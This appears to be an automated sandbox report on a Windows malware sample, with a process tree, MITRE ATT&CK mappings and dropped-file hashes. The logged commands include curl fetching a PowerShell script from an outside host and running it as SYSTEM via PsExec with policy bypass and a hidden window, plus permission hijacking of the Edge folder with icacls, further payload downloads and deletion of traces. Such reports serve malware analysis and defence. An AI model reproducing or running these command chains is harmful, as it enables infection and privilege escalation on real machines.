      PID:2628
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" https://3gunit.com/rANT.ps1 -o C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
    3⤵
    PID:4296
- - C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
    "C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe" -accepteula -s powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
    3⤵
    - Executes dropped EXE
    - Hide Artifacts: Hidden Window
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2884

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\nysr2dv2\nysr2dv2.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4768
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RES5A7F.tmp" "c:\Windows\Temp\nysr2dv2\CSC10C124BFE572422B9357BBB9C366F6BC.TMP"
      4⤵
      PID:5052
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" -duplicatescheme e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    - Power Settings
    - Modifies data under HKEY_USERS
    PID:1448
- - C:\Windows\system32\powercfg.exe
    "C:\Windows\system32\powercfg.exe" -setactive e9a42b02-d5df-448d-aa00-03f14749eb61
    3⤵
    - Power Settings
    PID:5332
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /setowner *S-1-5-18 /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5144
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-18:(OI)(CI)(F) /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1560
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /grant *S-1-5-32-544:(OI)(CI)(RX,W) /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1012
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /inheritance:r
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5768
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\Microsoft Edge" /remove *S-1-1-0 /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4304
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /invokeAdmin.vbs -o "C:\Program Files (x86)\Microsoft Edge\lol\invoke.vbs"
    3⤵
    PID:3488
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /ss.ps1 -o "C:\Program Files (x86)\Microsoft Edge\lol\ss.ps1"
    3⤵
    PID:4196
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /2.7z -o "C:\Program Files (x86)\Microsoft Edge\2.7z"
    3⤵
    PID:3652
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /cert.pem -o "C:\Program Files (x86)\Microsoft Edge\env\cert.pem" -k
    3⤵
    PID:1500
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /3.7z -o "C:\Program Files (x86)\Microsoft Edge\3.7z"
    3⤵
    PID:3028
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /5.7z -o "C:\Program Files (x86)\Microsoft Edge\5.7z"
    3⤵
    PID:1276
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /6.7z -o "C:\Program Files (x86)\Microsoft Edge\6.7z"
    3⤵
    PID:6032
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" /7.7z -o "C:\Program Files (x86)\Microsoft Edge\7.7z"
    3⤵
    PID:5916
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /F /TN \MicrosoftEdgeUpdateFail
    3⤵
    PID:5872
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /F /TN \X
    3⤵
    PID:3440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command sleep -Seconds 2; rm 'C:\Users\\AppData\Local\Temp\build' -Force -Recurse
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:1248

C:\Windows\PSEXESVC.exe
C:\Windows\PSEXESVC.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4236

C:\Windows\system32\wscript.exe
wscript.exe "C:\Program Files (x86)\Microsoft Edge\LoL\invoke.vbs" "C:\Program Files (x86)\Microsoft Edge\LoL\ss.ps1"
1⤵
PID:2448

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Power Settings

T1653

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

invoke.vbs

Path C:\ProgramData\invoke.vbs
Size 302B
SHA256 76618b05eb59f55ce621fd06f15c0dabd9cd3f47eefcb86b461b5c5634b6c7b2
MD5 bea15e48cac2734d6b9fa5760a164d6c
SHA1 4d292e1b263018ef57c76d797a342ba56db01d83
SHA512 8c6306742ebe04a7b15dd3a95b76bd4acdfd8bab5643b77ed91bc7304a3f73dd115cd480c46988fe2174c5a8693f80891b6c1226e901452434697be4ea4e93ed
TLSH
T16FE0C20AA0BECA554AC7845311E1EC0D8EA6F31C62009531AE329C11AA24954CEE2D07
MD5 SHA1 SHA512 TLSH

Submit Download

rIF.ps1

Path C:\ProgramData\rIF.ps1
Size 6KB
SHA256 3e4951b2a2188ab45c53cb542f896dcb9ee21d71c7c2e91e2177a42e1688dfa1
MD5 6ab39bea09d5ec13d8833eaa36efa57c
SHA1 596de9ff3de26f00bcafb864e7d5e817f1accaf5
SHA512 bbbcc3eec75ba1a1a68192179395a8082fa072db056805d560eca87d9baea4d0e32b027b50d1bee874a42be391b9e46a63e99fffe494e096b707de2f740879e1
SSDEEP 192:qEcJPPvR7EGP+PRPqdDKIPsC8DKlPPB4uPzPyPI:qTJ57EGP+PRPqBNP5OePPBvPzPyPI
TLSH
T160D12B63AF05EE9887C5121C47CF84C1079C17B9A4520DB81689BE8CFA8B19BA5FA04B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

51sjs01i.dll

Path C:\Users\Admin\AppData\Local\Temp\51sjs01i\51sjs01i.dll
Size 3KB
SHA256 1eb448053cc1cde6652ca0b92057bfdac04a2377bc17c1fc0c74be32aa0275c1
MD5 8887ab1dcc3354084f905a3afcafcdef
SHA1 4a154a942e11d98fbfcadb72a2637ef46c312887
SHA512 57032e662d06313efbea73203674ee19c98b7ab1a1129c9df759374c2079e5fee6939760f7a0f79970d35fb1c47910e2232bac285158fedf1e50c4711edbdc95
TLSH
T13F51DB2AA7E8462BF4B74B306EF343173BB4F8509BB3931E48C042186C612649D31FB0
MD5 SHA1 SHA512 TLSH

Submit Download

RES1548.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES1548.tmp
Size 1KB
SHA256 b906208c60f07791bbb36a7d5ed66df071f8919acb8b378f418db5f448178abd
MD5 e5b3e009e597c6dcf47e73fd9f808d3b
SHA1 24a59cef1211b3d62cc2dde3df58bfbd8491e11e
SHA512 5a464f878a00008b1f0e3df51d80d2abaa6fc764d6c33e25eb9160da530ccb73c58356b3f00f9427d56a87f2ccf25070cb9db1603d2f3350779cbea058da6656
TLSH
T1CA218C0593ED470BF0775B32A9F6171BA625FD54EFA1936AC440422C2C41504EEA1FB2
MD5 SHA1 SHA512 TLSH

Submit Download

RES1613.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES1613.tmp
Size 1KB
SHA256 ce09a5336c13be0763d1c3069dc314c18906c1df15b882c4ab6c5dbada75c6ce
MD5 74f9c1eeed60c609436862eb4a6d31f1
SHA1 9e6ac6e7a556a6d7c4fdf8d01084a395c3d586af
SHA512 3e6eca761669b0e95bc7aaa6056a217996a0e4e93482dc9f432aaf93c7792afe77a210b34b25d696d046c9c602622b87f5c0f4cedc870f8f84dc332a25cef1fc
TLSH
T1AD218C0593E8471AF07757316AF5176FA265FD64AF62935A858042281C51504EEA0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

RES1661.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES1661.tmp
Size 1KB
SHA256 5e769057c2fdc7c1b2460b24c1cdc5bef1c96feb9bfa11f397fd8c958d6c83e3
MD5 efbf07f8c3bc3eb6308ca0a6fecde471
SHA1 b44b8e8e3d8304bd8fcd60a9882ec8ef4bfdae2a
SHA512 a20c5602d5256b805d181e286c13b95cf0294ef9bf94e1da44a0ed4fe3f0c28133211852d1e3d5f362244a7cb3346f0e99e416df8d149b0b15c275f1be1e7072
TLSH
T11121AF0553E9470AF0B35B326AF6572FA274FD54EFA2975B8440422C2C41504EEB1F72
MD5 SHA1 SHA512 TLSH

Submit Download

RES4A43.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES4A43.tmp
Size 1KB
SHA256 829b5b5c7703cb665ca6e3ff4ee7ca4e423a736c36e86833c380b040d09370fb
MD5 058de4b1da86cbdbe352c59288b56632
SHA1 9d75d3d78289f96c98e0c3e89d7b0a6e8a2e202a
SHA512 089f8d00f9ae8bae9050040e03f222dc4a75f927716733a434daf59231309f4cee2279ab1e6a970e9b98cf70ec18ce03c56390a7b64f6617512bc116dec89e81
TLSH
T118217B0653E8871EF0735B3169F6171FA278FD69EFA1935F948002282C40654EEB0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_rwec4hk2.cy5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rwec4hk2.cy5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

a.cmd

Path C:\Users\Admin\AppData\Local\Temp\a.cmd
Size 309B
SHA256 b0ad0dae605be15f250b01fe818e6cad76452b391cd48a087de6d2ddf83ba9a4
MD5 1cd006b01298d34c6daea4049c9f968b
SHA1 f8515dd6a247f045f4b2c41576a65fe8e0d38709
SHA512 7adc26d0806770a794ddca2d4d8f332d40e43d2cbcc9e178c7422ff96f04ce88168637731ab21568a8bfc6dca1c39919cc7c70e77a2d6ac446428deae232327f
TLSH
T14DE07D41FB04726ECE074C2A345291E4724F719A3F12938BA4720F1A3CAC365E25E603
MD5 SHA1 SHA512 TLSH

Submit Download

1.7z

Path C:\Users\Admin\AppData\Local\Temp\build\1.7z
Size 7.2MB
SHA256 ebf52d694af6fb9ffe7cf01bfc5c1cf2f5c2089c4d88c1c2edd4016a8d041f0e
MD5 2999227cb641cb3c55f25131e0f271d6
SHA1 2b3126bd866cb16af0dc5d0d5a6954536abdb04c
SHA512 29275bffd1188b6e7ae74243efb1df569613b39bd2f81fbcf873fb0379e4749a433f6713996de973946c4491524e2973e45be1f4b89a7b959ea45679c77c94be
SSDEEP 196608:9Qqt68Q1CR1dghXLewagOsHzSEZPgzD6JjmnsaH:9/68Zz6BewFSEKzDQaH
TLSH
T1D1763364BC8795FBAE02FD4681497D73583DBE28A37977160B573DAC0AC3950DA832C8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7z.exe

Path C:\Users\Admin\AppData\Local\Temp\build\7z.exe
Size 587KB
SHA256 27cbe3d5804ad09e90bbcaa916da0d5c3b0be9462d0e0fb6cb54be5ed9030875
MD5 890595b9f1fcbd6b627386335e96251b
SHA1 8c95c825f7385487811cc2ee4b08d5e44da88b7a
SHA512 7d84fcad0a6a1cf8c2e7bb01606c671cd91bf2691595eee1f0d67c89711c551778188423f07bbbfdced6ea03eda33b513fffa39584c60e9a5079a0efb7e73bb0
SSDEEP 12288:vtLgnXR4DYfux5XilKqQ+far3OGS4Q6sKs5KVDrTnacLL:vN8RcciXi0zIi364Zsz5KVDScv
TLSH
T179D4AE173AE5C07ED25215308A1D6BB590FBC7690B3208C763809E6D2B359E6D63B93E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

PsExec.exe

Path C:\Users\Admin\AppData\Local\Temp\build\PsExec.exe
Size 699KB
SHA256 078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b
MD5 24a648a48741b1ac809e47b9543c6f12
SHA1 3e2272b916da4be3c120d17490423230ab62c174
SHA512 b974ce956f2e922e92ca414d1bd6cc7bcb36bc44532b28b392f2a8052d6d47fd742841c4add6ec5c8283d28d7245b1704af34a523917e49cef007eef700a0b9a
SSDEEP 12288:LOO6oMlKDdwPDMlkw6Pph0lhSMXle+eO1HK+meynh5yRX3oRG72:LD9McwPDCkw6Bh0lhSMXlemqth5yRX3E
TLSH
T1B4E48D1172D18032E0B22A301AB89BB16A3E7D305F7595DF27D85A7E5E30AC1DA35B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

URL

Path C:\Users\Admin\AppData\Local\Temp\build\URL
Size 21B
SHA256 5ba77174f5752b53fbea78c1699c7cb4cf96e28f49208beb2f1f7e1c4c84b83a
MD5 7945548db7e5a7d9861b6ecb21365822
SHA1 342277418520c47216028dd544f110ed6a2b992f
SHA512 491576c020525e4a8be67fb9239cbce8ed5c9ed0ad57bfa17692dbe887437a0c1c2bf362d1048a8a81c8c244cb0cf7841a29b6da0d902ac0e3efb1d7a7d6dd70
MD5 SHA1 SHA512

Submit Download

cID

Path C:\Users\Admin\AppData\Local\Temp\build\cID
Size 6B
SHA256 405d221afe891372c2ab37d4c80fc177544eae90a182f0669ef40dba6ce5d1fd
MD5 c44f7545a6c17165f0303e2fe936bead
SHA1 59caea36efeeb2846dab5d50d404911e00eaead0
SHA512 ba6a9ac73fd9cefb36d6adaba78266fb5ec98540b2f3d7259590a8ecd7c445f8a3f64695f30cbc769bae2aa2a9a7d53b27e1c55bdc4f0d81a4aa5030979584b1
MD5 SHA1 SHA512

Submit Download

helloworld.ps1

Path C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1
Size 20KB
SHA256 0d1b024172ea86df2792c31eb8520a4e219f5f7445a16adbdc0c7e6e127d2303
MD5 1415a24ab212b2916f5026eb262c9be8
SHA1 52fbe8db2d0a1c2ac9843d6e2619f0ba08cd4f02
SHA512 41ec20679d2140845e185ea0c03a9c9453e5e32b769423032974f1962a872a801183699294087a8ae273a2e0f2bfb4d611d8bf15a41f06bb5abe48c9a7e79bed
SSDEEP 384:CGYpCJNhHcUtbe+LQDAmdjZOfFsIGHncRfWR+n/fdk/GEfHzsPBPNPqRb1PRQP8h:pLhHcSbe+GLjQyTHn1Rstdx5161S3g8q
TLSH
T1E692BF2ACE46EE3ECBC0E56C85ED98D857BC1BBA94D0A5D410092564FF03D8AE5FD043
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\build\index.js
Size 94B
SHA256 a18359890214e4f5bef4d027a2de66abdc0a300c0f46d27327550c8d5dcb176f
MD5 182832a73ec19ae2d7d2ea3a4fa03587
SHA1 f7e76199d62be207040c383fe1c54b18a7392f3a
SHA512 d07418175730f6fed9d2446070850d704c1179aa673e404486c60bd170f02587e692dcf3d6cc166a415e692755151826b30e1cfd87ad882827f37bc206dd5496
TLSH
T19AB012D310D333632E9040CCE0C3223138C1F0542B105A18EA8CC05503114C00315CC4
MD5 SHA1 SHA512 TLSH

Submit Download

inject.node

Path C:\Users\Admin\AppData\Local\Temp\build\inject.node
Size 927KB
SHA256 a3fd9123361e8f1c00f30786aadb7d6985ac8c8c6eda70dbce3828b94a54f5e0
MD5 4a05ac7d8a0eaa2666792923a772e2bf
SHA1 5513ef3aec94c842a3cd9fc469ceee21d3576f0c
SHA512 ef70a3a922bbdb9aa6343f5c5d9a9e3b58e8fa13644a6877c2597534049b470d5a0abbaf5c3187561d0c926a3e0ea61ef8f3ecdd01a2964fb2939c344153ff3f
SSDEEP 24576:gxM6S7zDlclpi28NviQzylHy+FIjT7x4WX4FsDLAgRYeS:7imoc
TLSH
T17E15F18D466C89E9F8979A70881706C76BF27C89D280EE5FAFD0045C1DB35D2817FE92
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

node.exe

Path C:\Users\Admin\AppData\Local\Temp\build\node.exe
Size 24.9MB
SHA256 6664cc00232d95f73e050f25b1dd1000b44f63e35f051734c9bee478cd3574c7
MD5 382b8f4b78ec9f5aa32cdd9635f77c65
SHA1 26dedbc963be336fd4552c50b0ff296656ad1f74
SHA512 cb2ed5e4e3e611a12d2367753da85f3268422abde9151fc881716620b6ff92110f32efbb16923f37f6fb3d1c806782affb3ee166b4a00b7b1aca8901cd463c72
SSDEEP 393216:kDoSAfzAfMr7lfQFbM+uxOjhNKl6gAAznOltkjBOLf2Te2DCdFDEN5u:kFRQBOLOzu
TLSH
T1AC477C1373E50195E5B3C23889AB4213D773B8624B30CBDF216D42592FB7AE09A7E761
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pID

Path C:\Users\Admin\AppData\Local\Temp\build\pID
Size 14B
SHA256 4990ad2a0458b54ba1f234f25736fce9f36e6f17927070b6d47dc793d0f26e54
MD5 3be413d34dee576032030be4187a933c
SHA1 217765f5c012aa8542c5200dc234721b36d43853
SHA512 5df58b776839a0ef42b43af337f4a5c413703687d521e548719ada6a74c5517f08467126b57245be100d7989a0f8b84d7e8299c20ab706a8ccb54f30f65c87d7
MD5 SHA1 SHA512

Submit Download

rANT.ps1

Path C:\Users\Admin\AppData\Local\Temp\build\rANT.ps1
Size 19KB
SHA256 474050d4fe8acd2098ad8549df1c17f46fe4f1af35cfee7394c636fc5ad45912
MD5 079591b177f57dd00fd4efaa6868b2a2
SHA1 7d7b7a4d70e3c99653d3dcd04fd521bf422c8904
SHA512 28d81b7fb42b767d51514f4418ba6dae615a440288e8e15f9b9ec6b912c9b5c3452e6f68848774d79bea63b9ed1cd1dd7a83b229e7fdb419d18d205af21c79b1
SSDEEP 384:d1tTknM+8o9Fe/G9h2Xf3d4oog6Xc0JfWKZQ232i6PCPqTPrPfJP73PQDPjP+:d34M+8Aeu9h6P6fhWXu6qejJbs72
TLSH
T141929E57BE418EB8C78D221860DC88DA07AC47FE40117989636AB944FB82CDFE5FB035
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cyz0vewd.dll

Path C:\Users\Admin\AppData\Local\Temp\cyz0vewd\cyz0vewd.dll
Size 3KB
SHA256 59165a579fbf5136c56540fc89939936942fb046177fe2f1e341197dea266971
MD5 b4ec35537d37dafb3a23ac918d23fa41
SHA1 83e7e0620e58f5cab7345b7c8cc6bc2763b3f3ed
SHA512 3f058cde7def0760e5078c9df31069538ccb57090360e6ce881f209853d6c47cdd4ffab421e237166230c355b90b09dc5ab06de0d74ed9ee97b25e1b74d6b0f4
TLSH
T14571C01A53E4462BE8BB07346EF3475367B4F8609F73976E0DD002196CA02645E71BB1
MD5 SHA1 SHA512 TLSH

Submit Download

lfcuf1km.dll

Path C:\Users\Admin\AppData\Local\Temp\lfcuf1km\lfcuf1km.dll
Size 3KB
SHA256 0eca7c0c6abff999f202265aeaf4e053dbc28ba486c1737a9891d19cc170b532
MD5 c5568a6b23af2b383171e802ca810e71
SHA1 545933f8b9f7f5be9dfe643ca774434041835ec2
SHA512 f5d97f14ebde28f9263023706c96b4c78af5c7ad1d7062fafe5fccf62afb089dc8477ded9d8a30a1762eff23ee685565e052d6ddfcc0ea280f77ad43322a2877
TLSH
T11871ED1A57E8462BE4BB0734AEF3471667A4FC509FB38B5E4D8002196CA02645D71BB1
MD5 SHA1 SHA512 TLSH

Submit Download

rj50ptyl.dll

Path C:\Users\Admin\AppData\Local\Temp\rj50ptyl\rj50ptyl.dll
Size 3KB
SHA256 095c7be68bfa077cb91e2646ac97baf0f245cf26fd9f72c0a7f11eecdc089f5c
MD5 04e524a0fd90cb961bd9478142ec55da
SHA1 c2862999cab7d680451340ba5fd307818fc9db86
SHA512 9548a9642611acac56df95d9e2a9a0e6b35ceea093523078e9a9172b5bf84196dd0f3d066d90b6efcf78084b7c661d645906936d4ed30367fd538dfdbde3affb
TLSH
T12851CB2AA3EC066BE8B74735AEE303173BA5F8208F73936D59C00269AC616145D31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

teenpussyfeetandass.mp4.lnk

Path C:\Users\Admin\AppData\Local\Temp\PACK8\teenpussyfeetandass.mp4.lnk
Size 1KB
SHA256 b7c39659257bb44e4b283319bb1e2199cbbff35a86ab9550e759c78556c2394f
MD5 1edbe96def4313091b5c786c68b49e09
SHA1 abb91bcf0bbc244f9d17c4e5b6c82ee0553fcf87
SHA512 85b5079567fc9feeef1b4e2736dcb80a992adc2fb9cd374e2a86e0b3ca14bb6508fe1e4c3dda15424515b2fac0a821e291bf2bacec973ba53a1260d1f02bd427
TLSH
T150217D1866DD5715D3F38E3B88AA52224533BD07FEB28F2902D482CC1C58601FD25F2D
MD5 SHA1 SHA512 TLSH

Submit Download

PSEXEC-OCPZFHHI-15B19791.key

Path C:\Windows\PSEXEC-OCPZFHHI-15B19791.key
Size 16B
SHA256 9e1c38520a9bbd7dd6c54d96e0f8249715487d3b5a1fea010cae0542a6144b7b
MD5 e2663f21dd33beca6ce4cef01138574e
SHA1 fc258217275970b62d0927ca55910847bac71448
SHA512 55881b7b51723628e967ad93bd1c11918d4cce51b8dfdbfa140a43d60140650941ac606ebe136b84acbae326ef4eeae0b523441c4603826272ea66c2495ed7c0
MD5 SHA1 SHA512

Submit Download

PSEXESVC.exe

Path C:\Windows\PSEXESVC.exe
Size 189KB
SHA256 cc14df781475ef0f3f2c441d03a622ea67cd86967526f8758ead6f45174db78e
MD5 44118d8fb41634b3d8d8b1c6fdf9c421
SHA1 2c27a865b3ab1f0bd2ea1e8f7298b5ef9348c5ac
SHA512 ab62931669555dc1daf63f73f4d57a6d9bfc94dc087d859f7719648bad48d1626f9760f1b8cd7f76340943d8d69df1734bb657ca2b83855686792182809b07b4
SSDEEP 3072:iR+zpegrEiHunfFqNmIWhn01GGXqw7Wnh5rebFHh9aohhx0dUFyMLooZ3/3yqp/5:o+zpegrEiHuf+mZhn01N7Wnh5rebL9/9
TLSH
T1A2143921B2D08072E5F72A7019F4A6729A3EBD705F34D99F6794066E5E30BC1CA34B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES5A7F.tmp

Path C:\Windows\TEMP\RES5A7F.tmp
Size 1KB
SHA256 81459f8c1a291b4bd95be5737aa108a6871748d0e512793cf676e1c72701f9f3
MD5 0b48bf63b66565b9600c486fd6e14c8d
SHA1 1fa53b5740a0fecef735ed0daa6554aeae77db92
SHA512 63a49413c1629604d72a53524f900a4c32bb19e6cc4b0df3b110b0325a0273d284a470454199ed604a4d44b3469bbf0f174655e9be9bed8d8be52cebc765dd21
TLSH
T1F621340953F8071AF0738B30A8FA07276768FDA5DEB2536A848452796C50614EFB0EB2
MD5 SHA1 SHA512 TLSH

Submit Download

nysr2dv2.dll

Path C:\Windows\TEMP\nysr2dv2\nysr2dv2.dll
Size 3KB
SHA256 29f48738e0d35da0206a7de872a9dc0f39bd9eeba677ac144acfb36ee45d432d
MD5 66ac0a2e1019f46d0e4e1aa2179cb756
SHA1 15174f743de7f064d7a5ebe09f30981624c02b53
SHA512 565fda7f515c223347384b8ebaf146a21f48da283fe2c1b7227688418571bac3505736add06ef267331609dae2a31e4fc2d21cc5bb2bbad04be652bcc436b3b1
TLSH
T15371CD1A53E44A2BF8BB4734AEF3475277A4FC508F73576E0DC002696CA1264A972FB1
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 5KB
SHA256 422a1847a0f647fc75e67388275a01dfbef80f72b6d20a8c41f3aaa7e37167b0
MD5 e37155ea598385abce7704b848c49005
SHA1 a5fe6779d1669971f3d6b71101c2f8778d0b6127
SHA512 dd00e5509ce3080b1bf790736a34768706398cb91bb42b1442d99adb28ded4b248af87349883d31d9aa85fdd5d348a217ef88747c1c1045a7c80cb25340a9a1a
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq6fm0RIzoZcBPtiNLhDAyRLcxZpow:iqdYqGAjdx4qKkq3qktznEuZq6XIzoZC
TLSH
T181B110313371F4D5CC663B021A2C19D0A3AF4387EA58AF48B25C621EED2655BDB112F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5c890ff8fde587ef8011a1b7bf7ea06838d3550c67eca930db00f5f952b6d220
MD5 bd66a3e92387b0d23b73b4557b01bf08
SHA1 1488900b11c52a064a761ea395d20bed004d9c14
SHA512 b6d00e7198034bd2aa7af1d74c5b3e35249f9bf68be713ec63ef0a1807b7ad5b288c605d8a712ff78638356a9489c001c6228169ebf5d5534a02ce594e5aef47
TLSH
T15331B827B3DD8962DC85163A109D9C10366A93C7809EDF9B2BC0D32490BFAC9CB21190
MD5 SHA1 SHA512 TLSH

Submit Download

51sjs01i.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\51sjs01i\51sjs01i.0.cs
Size 290B
SHA256 e4a6569db6414ecaca0606e3219109df10ca83e6afd5c249505e0abd6fad7fbc
MD5 b850cc7f522f1c6adcc8f1113df52987
SHA1 bc74abb79e43f9c6fe2e9417548c162771cf8157
SHA512 dac062d74d0ca89161110a2c48163d8be293e11ccb27424546d2133b88f56008ea05de5275a7c56e9b19f3882789313c07d83159644f1f7a51d415a99b28b952
TLSH
T1F9D0C2086BE3FF2550139C2B494AD4FC7A235116227B1A20AAF803109F8F1459226A29
MD5 SHA1 SHA512 TLSH

Submit Download

51sjs01i.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\51sjs01i\51sjs01i.cmdline
Size 369B
SHA256 8d0e65092023b650e153635ee781cf5a567af6c1ff1880003cc406621d3e9e89
MD5 b4c6cce84452577a8b603367a748b1aa
SHA1 79752054e325f4cb93c5a898d9e05a37a1ffb6ce
SHA512 1c0aa1a8ed6c5e71c56373768202d3f8650a6995eec9f65e07a521f5ffadf05905ca67d25f76fd42bdd30420d479ede5cf9fcb488dbba6b13b756dea958681b6
TLSH
T145E0683B525BC3BD09DA10073179C5AC8272478329C03FB8D948440ED25700467F3B51
MD5 SHA1 SHA512 TLSH

Submit Download

CSCDCC8695F57DC4A4EB7B3B4A8E362EC86.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\51sjs01i\CSCDCC8695F57DC4A4EB7B3B4A8E362EC86.TMP
Size 652B
SHA256 a355afe0848d0f80dacc01a512f357d40f6acaedf363d3e1a4332657feefdf6f
MD5 644ef029cc4ff0cc96896c2e5873ed55
SHA1 9e00ec41b91ba44e2e10d8896116bf59e7f4f1e1
SHA512 ee2927d9df3d84f0d2a5a98e1d63ca0a29bbf4aaab49b3b6771088c53af05b7559345f14c026289015667313f6c47e783f0802b9914f27521905314b2fa612f1
TLSH
T13DF03A0A63F8420AF0F34F30BAF6836795A8FC64DE7293ED144403192C64524C972FB6
MD5 SHA1 SHA512 TLSH

Submit Download

CSC97DC1F2B5F9F4283ABC9A9A41FAFD9EF.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\cyz0vewd\CSC97DC1F2B5F9F4283ABC9A9A41FAFD9EF.TMP
Size 652B
SHA256 0cb90d659756e2326fe33e76376018534af4832a7a0e57e1002c53a031ad71bd
MD5 a17a21f0dc106e38ddea4af71d979e65
SHA1 82068b76ab5dc144f099d04ac395aa0e46a59e3f
